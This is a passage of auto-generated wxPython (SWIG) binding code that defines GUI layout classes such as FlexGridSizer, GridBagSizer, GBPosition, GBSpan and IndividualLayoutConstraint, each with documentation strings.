sizer.\n\n The *proportion* parameter has the same meaning as the stretch factor\n for the box sizers except that if all proportions are 0, then all\n columns are resized equally (instead of not being resized at all).\n \"\"\"\n return _core_.FlexGridSizer_AddGrowableCol(*args, **kwargs)\n\n def RemoveGrowableCol(*args, **kwargs):\n \"\"\"\n RemoveGrowableCol(self, size_t idx)\n\n Specifies that column *idx* is no longer growable.\n \"\"\"\n return _core_.FlexGridSizer_RemoveGrowableCol(*args, **kwargs)\n\n def SetFlexibleDirection(*args, **kwargs):\n \"\"\"\n SetFlexibleDirection(self, int direction)\n\n Specifies whether the sizer should flexibly resize its columns, rows,\n or both. Argument *direction* can be one of the following values. Any\n other value is ignored.\n\n ============== =======================================\n wx.VERTICAL Rows are flexibly sized.\n wx.HORIZONTAL Columns are flexibly sized.\n wx.BOTH Both rows and columns are flexibly sized\n (this is the default value).\n ============== =======================================\n\n Note that this method does not trigger relayout.\n\n \"\"\"\n return _core_.FlexGridSizer_SetFlexibleDirection(*args, **kwargs)\n\n def GetFlexibleDirection(*args, **kwargs):\n \"\"\"\n GetFlexibleDirection(self) -> int\n\n Returns a value that specifies whether the sizer\n flexibly resizes its columns, rows, or both (default).\n\n :see: `SetFlexibleDirection`\n \"\"\"\n return _core_.FlexGridSizer_GetFlexibleDirection(*args, **kwargs)\n\n def SetNonFlexibleGrowMode(*args, **kwargs):\n \"\"\"\n SetNonFlexibleGrowMode(self, int mode)\n\n Specifies how the sizer should grow in the non-flexible direction if\n there is one (so `SetFlexibleDirection` must have been called\n previously). Argument *mode* can be one of the following values:\n\n ========================== =================================================\n wx.FLEX_GROWMODE_NONE Sizer doesn't grow in the non flexible direction.\n wx.FLEX_GROWMODE_SPECIFIED Sizer honors growable columns/rows set with\n `AddGrowableCol` and `AddGrowableRow`. In this\n case equal sizing applies to minimum sizes of\n columns or rows (this is the default value).\n wx.FLEX_GROWMODE_ALL Sizer equally stretches all columns or rows in\n the non flexible direction, whether they are\n growable or not in the flexbile direction.\n ========================== =================================================\n\n Note that this method does not trigger relayout.\n \"\"\"\n return _core_.FlexGridSizer_SetNonFlexibleGrowMode(*args, **kwargs)\n\n def GetNonFlexibleGrowMode(*args, **kwargs):\n \"\"\"\n GetNonFlexibleGrowMode(self) -> int\n\n Returns the value that specifies how the sizer grows in the\n non-flexible direction if there is one.\n\n :see: `SetNonFlexibleGrowMode`\n \"\"\"\n return _core_.FlexGridSizer_GetNonFlexibleGrowMode(*args, **kwargs)\n\n def GetRowHeights(*args, **kwargs):\n \"\"\"\n GetRowHeights(self) -> list\n\n Returns a list of integers representing the heights of each of the\n rows in the sizer.\n \"\"\"\n return _core_.FlexGridSizer_GetRowHeights(*args, **kwargs)\n\n def GetColWidths(*args, **kwargs):\n \"\"\"\n GetColWidths(self) -> list\n\n Returns a list of integers representing the widths of each of the\n columns in the sizer.\n \"\"\"\n return _core_.FlexGridSizer_GetColWidths(*args, **kwargs)\n\n ColWidths = property(GetColWidths,doc=\"See `GetColWidths`\") \n FlexibleDirection = property(GetFlexibleDirection,SetFlexibleDirection,doc=\"See `GetFlexibleDirection` and `SetFlexibleDirection`\") \n NonFlexibleGrowMode = property(GetNonFlexibleGrowMode,SetNonFlexibleGrowMode,doc=\"See `GetNonFlexibleGrowMode` and `SetNonFlexibleGrowMode`\") \n RowHeights = property(GetRowHeights,doc=\"See `GetRowHeights`\") \n_core_.FlexGridSizer_swigregister(FlexGridSizer)\n\nclass StdDialogButtonSizer(BoxSizer):\n \"\"\"\n A special sizer that knows how to order and position standard buttons\n in order to conform to the current platform's standards. You simply\n need to add each `wx.Button` to the sizer, and be sure to create the\n buttons using the standard ID's. Then call `Realize` and the sizer\n will take care of the rest.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> StdDialogButtonSizer\"\"\"\n _core_.StdDialogButtonSizer_swiginit(self,_core_.new_StdDialogButtonSizer(*args, **kwargs))\n def AddButton(*args, **kwargs):\n \"\"\"\n AddButton(self, wxButton button)\n\n Use this to add the buttons to this sizer. Do not use the `Add`\n method in the base class.\n \"\"\"\n return _core_.StdDialogButtonSizer_AddButton(*args, **kwargs)\n\n def Realize(*args, **kwargs):\n \"\"\"\n Realize(self)\n\n This funciton needs to be called after all the buttons have been added\n to the sizer. It will reorder them and position them in a platform\n specifc manner.\n \"\"\"\n return _core_.StdDialogButtonSizer_Realize(*args, **kwargs)\n\n def SetAffirmativeButton(*args, **kwargs):\n \"\"\"SetAffirmativeButton(self, wxButton button)\"\"\"\n return _core_.StdDialogButtonSizer_SetAffirmativeButton(*args, **kwargs)\n\n def SetNegativeButton(*args, **kwargs):\n \"\"\"SetNegativeButton(self, wxButton button)\"\"\"\n return _core_.StdDialogButtonSizer_SetNegativeButton(*args, **kwargs)\n\n def SetCancelButton(*args, **kwargs):\n \"\"\"SetCancelButton(self, wxButton button)\"\"\"\n return _core_.StdDialogButtonSizer_SetCancelButton(*args, **kwargs)\n\n def GetAffirmativeButton(*args, **kwargs):\n \"\"\"GetAffirmativeButton(self) -> wxButton\"\"\"\n return _core_.StdDialogButtonSizer_GetAffirmativeButton(*args, **kwargs)\n\n def GetApplyButton(*args, **kwargs):\n \"\"\"GetApplyButton(self) -> wxButton\"\"\"\n return _core_.StdDialogButtonSizer_GetApplyButton(*args, **kwargs)\n\n def GetNegativeButton(*args, **kwargs):\n \"\"\"GetNegativeButton(self) -> wxButton\"\"\"\n return _core_.StdDialogButtonSizer_GetNegativeButton(*args, **kwargs)\n\n def GetCancelButton(*args, **kwargs):\n \"\"\"GetCancelButton(self) -> wxButton\"\"\"\n return _core_.StdDialogButtonSizer_GetCancelButton(*args, **kwargs)\n\n def GetHelpButton(*args, **kwargs):\n \"\"\"GetHelpButton(self) -> wxButton\"\"\"\n return _core_.StdDialogButtonSizer_GetHelpButton(*args, **kwargs)\n\n AffirmativeButton = property(GetAffirmativeButton,SetAffirmativeButton,doc=\"See `GetAffirmativeButton` and `SetAffirmativeButton`\") \n ApplyButton = property(GetApplyButton,doc=\"See `GetApplyButton`\") \n CancelButton = property(GetCancelButton,SetCancelButton,doc=\"See `GetCancelButton` and `SetCancelButton`\") \n HelpButton = property(GetHelpButton,doc=\"See `GetHelpButton`\") \n NegativeButton = property(GetNegativeButton,SetNegativeButton,doc=\"See `GetNegativeButton` and `SetNegativeButton`\") \n_core_.StdDialogButtonSizer_swigregister(StdDialogButtonSizer)\n\n#---------------------------------------------------------------------------\n\nclass GBPosition(object):\n \"\"\"\n This class represents the position of an item in a virtual grid of\n rows and columns managed by a `wx.GridBagSizer`. wxPython has\n typemaps that will automatically convert from a 2-element sequence of\n integers to a wx.GBPosition, so you can use the more pythonic\n representation of the position nearly transparently in Python code.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int row=0, int col=0) -> GBPosition\n\n This class represents the position of an item in a virtual grid of\n rows and columns managed by a `wx.GridBagSizer`. wxPython has\n typemaps that will automatically convert from a 2-element sequence of\n integers to a wx.GBPosition, so you can use the more pythonic\n representation of the position nearly transparently in Python code.\n \"\"\"\n _core_.GBPosition_swiginit(self,_core_.new_GBPosition(*args, **kwargs))\n __swig_destroy__ = _core_.delete_GBPosition\n __del__ = lambda self : None;\n def GetRow(*args, **kwargs):\n \"\"\"GetRow(self) -> int\"\"\"\n return _core_.GBPosition_GetRow(*args, **kwargs)\n\n def GetCol(*args, **kwargs):\n \"\"\"GetCol(self) -> int\"\"\"\n return _core_.GBPosition_GetCol(*args, **kwargs)\n\n def SetRow(*args, **kwargs):\n \"\"\"SetRow(self, int row)\"\"\"\n return _core_.GBPosition_SetRow(*args, **kwargs)\n\n def SetCol(*args, **kwargs):\n \"\"\"SetCol(self, int col)\"\"\"\n return _core_.GBPosition_SetCol(*args, **kwargs)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Compare GBPosition for equality.\n \"\"\"\n return _core_.GBPosition___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Compare GBPosition for inequality.\n \"\"\"\n return _core_.GBPosition___ne__(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"Set(self, int row=0, int col=0)\"\"\"\n return _core_.GBPosition_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"Get(self) -> PyObject\"\"\"\n return _core_.GBPosition_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.GBPosition'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.SetRow(val)\n elif index == 1: self.SetCol(val)\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.GBPosition, self.Get())\n\n row = property(GetRow, SetRow)\n col = property(GetCol, SetCol)\n\n_core_.GBPosition_swigregister(GBPosition)\n\nclass GBSpan(object):\n \"\"\"\n This class is used to hold the row and column spanning attributes of\n items in a `wx.GridBagSizer`. wxPython has typemaps that will\n automatically convert from a 2-element sequence of integers to a\n wx.GBSpan, so you can use the more pythonic representation of the span\n nearly transparently in Python code.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int rowspan=1, int colspan=1) -> GBSpan\n\n Construct a new wxGBSpan, optionally setting the rowspan and\n colspan. The default is (1,1). (Meaning that the item occupies one\n cell in each direction.\n \"\"\"\n _core_.GBSpan_swiginit(self,_core_.new_GBSpan(*args, **kwargs))\n __swig_destroy__ = _core_.delete_GBSpan\n __del__ = lambda self : None;\n def GetRowspan(*args, **kwargs):\n \"\"\"GetRowspan(self) -> int\"\"\"\n return _core_.GBSpan_GetRowspan(*args, **kwargs)\n\n def GetColspan(*args, **kwargs):\n \"\"\"GetColspan(self) -> int\"\"\"\n return _core_.GBSpan_GetColspan(*args, **kwargs)\n\n def SetRowspan(*args, **kwargs):\n \"\"\"SetRowspan(self, int rowspan)\"\"\"\n return _core_.GBSpan_SetRowspan(*args, **kwargs)\n\n def SetColspan(*args, **kwargs):\n \"\"\"SetColspan(self, int colspan)\"\"\"\n return _core_.GBSpan_SetColspan(*args, **kwargs)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Compare wxGBSpan for equality.\n \"\"\"\n return _core_.GBSpan___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Compare GBSpan for inequality.\n \"\"\"\n return _core_.GBSpan___ne__(*args, **kwargs)\n\n def Set(*args, **kwargs):\n \"\"\"Set(self, int rowspan=1, int colspan=1)\"\"\"\n return _core_.GBSpan_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"Get(self) -> PyObject\"\"\"\n return _core_.GBSpan_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.GBSpan'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.SetRowspan(val)\n elif index == 1: self.SetColspan(val)\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.GBSpan, self.Get())\n\n rowspan = property(GetRowspan, SetRowspan)\n colspan = property(GetColspan, SetColspan)\n\n_core_.GBSpan_swigregister(GBSpan)\n\nclass GBSizerItem(SizerItem):\n \"\"\"\n The wx.GBSizerItem class is used to track the additional data about\n items in a `wx.GridBagSizer` such as the item's position in the grid\n and how many rows or columns it spans.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> GBSizerItem\n\n Constructs an empty wx.GBSizerItem. Either a window, sizer or spacer\n size will need to be set, as well as a position and span before this\n item can be used in a Sizer.\n\n You will probably never need to create a wx.GBSizerItem directly as they\n are created automatically when the sizer's Add method is called.\n \"\"\"\n _core_.GBSizerItem_swiginit(self,_core_.new_GBSizerItem(*args, **kwargs))\n __swig_destroy__ = _core_.delete_GBSizerItem\n __del__ = lambda self : None;\n def GetPos(*args, **kwargs):\n \"\"\"\n GetPos(self) -> GBPosition\n\n Get the grid position of the item\n \"\"\"\n return _core_.GBSizerItem_GetPos(*args, **kwargs)\n\n def GetPosTuple(self): return self.GetPos().Get() \n def GetSpan(*args, **kwargs):\n \"\"\"\n GetSpan(self) -> GBSpan\n\n Get the row and column spanning of the item\n \"\"\"\n return _core_.GBSizerItem_GetSpan(*args, **kwargs)\n\n def GetSpanTuple(self): return self.GetSpan().Get() \n def SetPos(*args, **kwargs):\n \"\"\"\n SetPos(self, GBPosition pos) -> bool\n\n If the item is already a member of a sizer then first ensure that\n there is no other item that would intersect with this one at the new\n position, then set the new position. Returns True if the change is\n successful and after the next Layout() the item will be moved.\n \"\"\"\n return _core_.GBSizerItem_SetPos(*args, **kwargs)\n\n def SetSpan(*args, **kwargs):\n \"\"\"\n SetSpan(self, GBSpan span) -> bool\n\n If the item is already a member of a sizer then first ensure that\n there is no other item that would intersect with this one with its new\n spanning size, then set the new spanning. Returns True if the change\n is successful and after the next Layout() the item will be resized.\n\n \"\"\"\n return _core_.GBSizerItem_SetSpan(*args, **kwargs)\n\n def Intersects(*args, **kwargs):\n \"\"\"\n Intersects(self, GBSizerItem other) -> bool\n\n Returns True if this item and the other item instersect.\n \"\"\"\n return _core_.GBSizerItem_Intersects(*args, **kwargs)\n\n def IntersectsPos(*args, **kwargs):\n \"\"\"\n IntersectsPos(self, GBPosition pos, GBSpan span) -> bool\n\n Returns True if the given pos/span would intersect with this item.\n \"\"\"\n return _core_.GBSizerItem_IntersectsPos(*args, **kwargs)\n\n def GetEndPos(*args, **kwargs):\n \"\"\"\n GetEndPos(self) -> GBPosition\n\n Get the row and column of the endpoint of this item.\n \"\"\"\n return _core_.GBSizerItem_GetEndPos(*args, **kwargs)\n\n def GetGBSizer(*args, **kwargs):\n \"\"\"\n GetGBSizer(self) -> GridBagSizer\n\n Get the sizer this item is a member of.\n \"\"\"\n return _core_.GBSizerItem_GetGBSizer(*args, **kwargs)\n\n def SetGBSizer(*args, **kwargs):\n \"\"\"\n SetGBSizer(self, GridBagSizer sizer)\n\n Set the sizer this item is a member of.\n \"\"\"\n return _core_.GBSizerItem_SetGBSizer(*args, **kwargs)\n\n EndPos = property(GetEndPos,doc=\"See `GetEndPos`\") \n GBSizer = property(GetGBSizer,SetGBSizer,doc=\"See `GetGBSizer` and `SetGBSizer`\") \n Pos = property(GetPos,SetPos,doc=\"See `GetPos` and `SetPos`\") \n Span = property(GetSpan,SetSpan,doc=\"See `GetSpan` and `SetSpan`\") \n_core_.GBSizerItem_swigregister(GBSizerItem)\nDefaultSpan = cvar.DefaultSpan\n\ndef GBSizerItemWindow(*args, **kwargs):\n \"\"\"\n GBSizerItemWindow(Window window, GBPosition pos, GBSpan span, int flag, \n int border, PyObject userData=None) -> GBSizerItem\n\n Construct a `wx.GBSizerItem` for a window.\n \"\"\"\n val = _core_.new_GBSizerItemWindow(*args, **kwargs)\n return val\n\ndef GBSizerItemSizer(*args, **kwargs):\n \"\"\"\n GBSizerItemSizer(Sizer sizer, GBPosition pos, GBSpan span, int flag, \n int border, PyObject userData=None) -> GBSizerItem\n\n Construct a `wx.GBSizerItem` for a sizer\n \"\"\"\n val = _core_.new_GBSizerItemSizer(*args, **kwargs)\n return val\n\ndef GBSizerItemSpacer(*args, **kwargs):\n \"\"\"\n GBSizerItemSpacer(int width, int height, GBPosition pos, GBSpan span, \n int flag, int border, PyObject userData=None) -> GBSizerItem\n\n Construct a `wx.GBSizerItem` for a spacer.\n \"\"\"\n val = _core_.new_GBSizerItemSpacer(*args, **kwargs)\n return val\n\nclass GBSizerItemList_iterator(object):\n \"\"\"This class serves as an iterator for a wxGBSizerItemList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_GBSizerItemList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> GBSizerItem\"\"\"\n return _core_.GBSizerItemList_iterator_next(*args, **kwargs)\n\n_core_.GBSizerItemList_iterator_swigregister(GBSizerItemList_iterator)\n\nclass GBSizerItemList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _core_.delete_GBSizerItemList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _core_.GBSizerItemList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> GBSizerItem\"\"\"\n return _core_.GBSizerItemList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, GBSizerItem obj) -> bool\"\"\"\n return _core_.GBSizerItemList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> GBSizerItemList_iterator\"\"\"\n return _core_.GBSizerItemList___iter__(*args, **kwargs)\n\n def index(*args, **kwargs):\n \"\"\"index(self, GBSizerItem obj) -> int\"\"\"\n return _core_.GBSizerItemList_index(*args, **kwargs)\n\n def __repr__(self):\n return \"wxGBSizerItemList: \" + repr(list(self))\n\n_core_.GBSizerItemList_swigregister(GBSizerItemList)\n\nclass GridBagSizer(FlexGridSizer):\n \"\"\"\n A `wx.Sizer` that can lay out items in a virtual grid like a\n `wx.FlexGridSizer` but in this case explicit positioning of the items\n is allowed using `wx.GBPosition`, and items can optionally span more\n than one row and/or column using `wx.GBSpan`. The total size of the\n virtual grid is determined by the largest row and column that items are\n positioned at, adjusted for spanning.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int vgap=0, int hgap=0) -> GridBagSizer\n\n Constructor, with optional parameters to specify the gap between the\n rows and columns.\n \"\"\"\n _core_.GridBagSizer_swiginit(self,_core_.new_GridBagSizer(*args, **kwargs))\n self._setOORInfo(self)\n\n def Add(*args, **kwargs):\n \"\"\"\n Add(self, item, GBPosition pos, GBSpan span=DefaultSpan, int flag=0,\n int border=0, userData=None) -> wx.GBSizerItem\n\n Adds an item to the sizer at the grid cell *pos*, optionally spanning\n more than one row or column as specified with *span*. The remaining\n args behave similarly to `wx.Sizer.Add`.\n\n Returns True if the item was successfully placed at the given cell\n position, False if something was already there.\n\n \"\"\"\n return _core_.GridBagSizer_Add(*args, **kwargs)\n\n def AddItem(*args, **kwargs):\n \"\"\"\n Add(self, GBSizerItem item) -> wx.GBSizerItem\n\n Add an item to the sizer using a `wx.GBSizerItem`. Returns True if\n the item was successfully placed at its given cell position, False if\n something was already there.\n \"\"\"\n return _core_.GridBagSizer_AddItem(*args, **kwargs)\n\n def GetCellSize(*args, **kwargs):\n \"\"\"\n GetCellSize(self, int row, int col) -> Size\n\n Get the size of the specified cell, including hgap and\n vgap. Only valid after a Layout.\n \"\"\"\n return _core_.GridBagSizer_GetCellSize(*args, **kwargs)\n\n def GetEmptyCellSize(*args, **kwargs):\n \"\"\"\n GetEmptyCellSize(self) -> Size\n\n Get the size used for cells in the grid with no item.\n \"\"\"\n return _core_.GridBagSizer_GetEmptyCellSize(*args, **kwargs)\n\n def SetEmptyCellSize(*args, **kwargs):\n \"\"\"\n SetEmptyCellSize(self, Size sz)\n\n Set the size used for cells in the grid with no item.\n \"\"\"\n return _core_.GridBagSizer_SetEmptyCellSize(*args, **kwargs)\n\n def GetItemPosition(*args):\n \"\"\"\n GetItemPosition(self, item) -> GBPosition\n\n Get the grid position of the specified *item* where *item* is either a\n window or subsizer that is a member of this sizer, or a zero-based\n index of an item.\n \"\"\"\n return _core_.GridBagSizer_GetItemPosition(*args)\n\n def SetItemPosition(*args):\n \"\"\"\n SetItemPosition(self, item, GBPosition pos) -> bool\n\n Set the grid position of the specified *item* where *item* is either a\n window or subsizer that is a member of this sizer, or a zero-based\n index of an item. Returns True on success. If the move is not\n allowed (because an item is already there) then False is returned.\n\n \"\"\"\n return _core_.GridBagSizer_SetItemPosition(*args)\n\n def GetItemSpan(*args):\n \"\"\"\n GetItemSpan(self, item) -> GBSpan\n\n Get the row/col spanning of the specified *item* where *item* is\n either a window or subsizer that is a member of this sizer, or a\n zero-based index of an item.\n \"\"\"\n return _core_.GridBagSizer_GetItemSpan(*args)\n\n def SetItemSpan(*args):\n \"\"\"\n SetItemSpan(self, item, GBSpan span) -> bool\n\n Set the row/col spanning of the specified *item* where *item* is\n either a window or subsizer that is a member of this sizer, or a\n zero-based index of an item. Returns True on success. If the move is\n not allowed (because an item is already there) then False is returned.\n \"\"\"\n return _core_.GridBagSizer_SetItemSpan(*args)\n\n def FindItem(*args):\n \"\"\"\n FindItem(self, item) -> GBSizerItem\n\n Find the sizer item for the given window or subsizer, returns None if\n not found. (non-recursive)\n \"\"\"\n return _core_.GridBagSizer_FindItem(*args)\n\n def GetItem(self, item):\n gbsi = None\n si = wx.FlexGridSizer.GetItem(self, item)\n if not si:\n return None\n if type(item) is not int:\n gbsi = self.FindItem(item)\n if gbsi: return gbsi\n return si\n\n def FindItemAtPosition(*args, **kwargs):\n \"\"\"\n FindItemAtPosition(self, GBPosition pos) -> GBSizerItem\n\n Return the sizer item for the given grid cell, or None if there is no\n item at that position. (non-recursive)\n \"\"\"\n return _core_.GridBagSizer_FindItemAtPosition(*args, **kwargs)\n\n def FindItemAtPoint(*args, **kwargs):\n \"\"\"\n FindItemAtPoint(self, Point pt) -> GBSizerItem\n\n Return the sizer item located at the point given in *pt*, or None if\n there is no item at that point. The (x,y) coordinates in pt correspond\n to the client coordinates of the window using the sizer for\n layout. (non-recursive)\n \"\"\"\n return _core_.GridBagSizer_FindItemAtPoint(*args, **kwargs)\n\n def GetChildren(*args, **kwargs):\n \"\"\"\n GetChildren(self) -> GBSizerItemList\n\n Returns all of the `wx.GBSizerItem` objects managed by the sizer in a\n list-like object.\n \"\"\"\n return _core_.GridBagSizer_GetChildren(*args, **kwargs)\n\n def CheckForIntersection(*args, **kwargs):\n \"\"\"\n CheckForIntersection(self, GBSizerItem item, GBSizerItem excludeItem=None) -> bool\n\n Look at all items and see if any intersect (or would overlap) the\n given *item*. Returns True if so, False if there would be no overlap.\n If an *excludeItem* is given then it will not be checked for\n intersection, for example it may be the item we are checking the\n position of.\n\n \"\"\"\n return _core_.GridBagSizer_CheckForIntersection(*args, **kwargs)\n\n def CheckForIntersectionPos(*args, **kwargs):\n \"\"\"\n CheckForIntersectionPos(self, GBPosition pos, GBSpan span, GBSizerItem excludeItem=None) -> bool\n\n Look at all items and see if any intersect (or would overlap) the\n given position and span. Returns True if so, False if there would be\n no overlap. If an *excludeItem* is given then it will not be checked\n for intersection, for example it may be the item we are checking the\n position of.\n \"\"\"\n return _core_.GridBagSizer_CheckForIntersectionPos(*args, **kwargs)\n\n_core_.GridBagSizer_swigregister(GridBagSizer)\n\n#---------------------------------------------------------------------------\n\nLeft = _core_.Left\nTop = _core_.Top\nRight = _core_.Right\nBottom = _core_.Bottom\nWidth = _core_.Width\nHeight = _core_.Height\nCentre = _core_.Centre\nCenter = _core_.Center\nCentreX = _core_.CentreX\nCentreY = _core_.CentreY\nUnconstrained = _core_.Unconstrained\nAsIs = _core_.AsIs\nPercentOf = _core_.PercentOf\nAbove = _core_.Above\nBelow = _core_.Below\nLeftOf = _core_.LeftOf\nRightOf = _core_.RightOf\nSameAs = _core_.SameAs\nAbsolute = _core_.Absolute\nclass IndividualLayoutConstraint(Object):\n \"\"\"\n Objects of this class are stored in the `wx.LayoutConstraints` class as\n one of eight possible constraints that a window can be involved in.\n You will never need to create an instance of\n wx.IndividualLayoutConstraint, rather you should create a\n `wx.LayoutConstraints` instance and use the individual contstraints\n that it contains.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, int rel, Window otherW, int otherE, int val=0, int marg=wxLAYOUT_DEFAULT_MARGIN)\n\n Sets the properties of the constraint. Normally called by one of the\n convenience functions such as Above, RightOf, SameAs.\n \"\"\"\n return _core_.IndividualLayoutConstraint_Set(*args, **kwargs)\n\n def LeftOf(*args, **kwargs):\n \"\"\"\n LeftOf(self, Window sibling, int marg=0)\n\n Constrains this edge to be to the left of the given window, with an\n optional margin. Implicitly, this is relative to the left edge of the\n other window.\n \"\"\"\n return _core_.IndividualLayoutConstraint_LeftOf(*args, **kwargs)\n\n def RightOf(*args, **kwargs):\n \"\"\"\n RightOf(self, Window sibling, int marg=0)\n\n Constrains this edge to be to the right of the given window, with an\n optional margin. Implicitly, this is relative to the right edge of the\n other window.\n \"\"\"\n return _core_.IndividualLayoutConstraint_RightOf(*args, **kwargs)\n\n def Above(*args, **kwargs):\n \"\"\"\n Above(self, Window sibling, int marg=0)\n\n Constrains this edge to be above the given window, with an optional\n margin. Implicitly, this is relative to the top edge of the other\n window.\n \"\"\"\n return _core_.IndividualLayoutConstraint_Above(*args, **kwargs)\n\n def Below(*args, **kwargs):\n \"\"\"\n Below(self, Window sibling, int marg=0)\n\n Constrains this edge to be below the given window, with an optional\n margin. Implicitly, this is relative to the bottom edge of the other\n window.\n \"\"\"\n return _core_.IndividualLayoutConstraint_Below(*args, **kwargs)\n\n def SameAs(*args, **kwargs):\n \"\"\"\n SameAs(self, Window otherW, int edge, int marg=0)\n\n Constrains this edge or dimension to be to the same as the edge of the\n given window, with an optional margin.\n \"\"\"\n return _core_.IndividualLayoutConstraint_SameAs(*args, **kwargs)\n\n def PercentOf(*args, **kwargs):\n \"\"\"\n PercentOf(self, Window otherW, int wh, int per)\n\n Constrains this edge or dimension to be to a percentage of the given\n window, with an optional margin.\n \"\"\"\n return _core_.IndividualLayoutConstraint_PercentOf(*args, **kwargs)\n\n def Absolute(*args, **kwargs):\n \"\"\"\n Absolute(self, int val)\n\n Constrains this edge or dimension to be the given absolute value.\n \"\"\"\n return _core_.IndividualLayoutConstraint_Absolute(*args, **kwargs)\n\n def Unconstrained(*args, **kwargs):\n \"\"\"\n Unconstrained(self)\n\n Sets this edge or dimension to be unconstrained, that is, dependent on\n other edges and dimensions from which this value can be deduced.\n \"\"\"\n return _core_.IndividualLayoutConstraint_Unconstrained(*args, **kwargs)\n\n def AsIs(*args, **kwargs):\n \"\"\"\n AsIs(self)\n\n Sets this edge or constraint to be whatever the window's value is at\n the moment. If either of the width and height constraints are *as is*,\n the window will not be resized, but moved instead. This is important\n when considering panel items which are intended to have a default\n size, such as a button, which may take its size from the size of the\n button label.\n \"\"\"\n return _core_.IndividualLayoutConstraint_AsIs(*args, **kwargs)\n\n def GetOtherWindow(*args, **kwargs):\n \"\"\"GetOtherWindow(self) -> Window\"\"\"\n return _core_.IndividualLayoutConstraint_GetOtherWindow(*args, **kwargs)\n\n def GetMyEdge(*args, **kwargs):\n \"\"\"GetMyEdge(self) -> int\"\"\"\n return _core_.IndividualLayoutConstraint_GetMyEdge(*args, **kwargs)\n\n def SetEdge(*args, **kwargs):\n \"\"\"SetEdge(self, int which)\"\"\"\n return _core_.IndividualLayoutConstraint_SetEdge(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int v)\"\"\"\n return _core_.IndividualLayoutConstraint_SetValue(*args, **kwargs)\n\n def GetMargin(*args, **kwargs):\n \"\"\"GetMargin(self) -> int\"\"\"\n return _core_.IndividualLayoutConstraint_GetMargin(*args, **kwargs)\n\n def SetMargin(*args, **kwargs):\n \"\"\"SetMargin(self, int m)\"\"\"\n return _core_.IndividualLayoutConstraint_SetMargin(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> int\"\"\"\n return _core_.IndividualLayoutConstraint_GetValue(*args, **kwargs)\n\n def GetPercent(*args, **kwargs):\n \"\"\"GetPercent(self) -> int\"\"\"\n return _core_.IndividualLayoutConstraint_GetPercent(*args, **kwargs)\n\n def GetOtherEdge(*args, **kwargs):\n \"\"\"GetOtherEdge(self) -> int\"\"\"\n return _core_.IndividualLayoutConstraint_GetOtherEdge(*args, **kwargs)\n\n def GetDone(*args, **kwargs):\n \"\"\"GetDone(self) -> bool\"\"\"\n return _core_.IndividualLayoutConstraint_GetDone(*args, **kwargs)\n\n def SetDone(*args, **kwargs):\n \"\"\"SetDone(self, bool d)\"\"\"\n return _core_.IndividualLayoutConstraint_SetDone(*args, **kwargs)\n\n def GetRelationship(*args, **kwargs):\n \"\"\"GetRelationship(self) -> 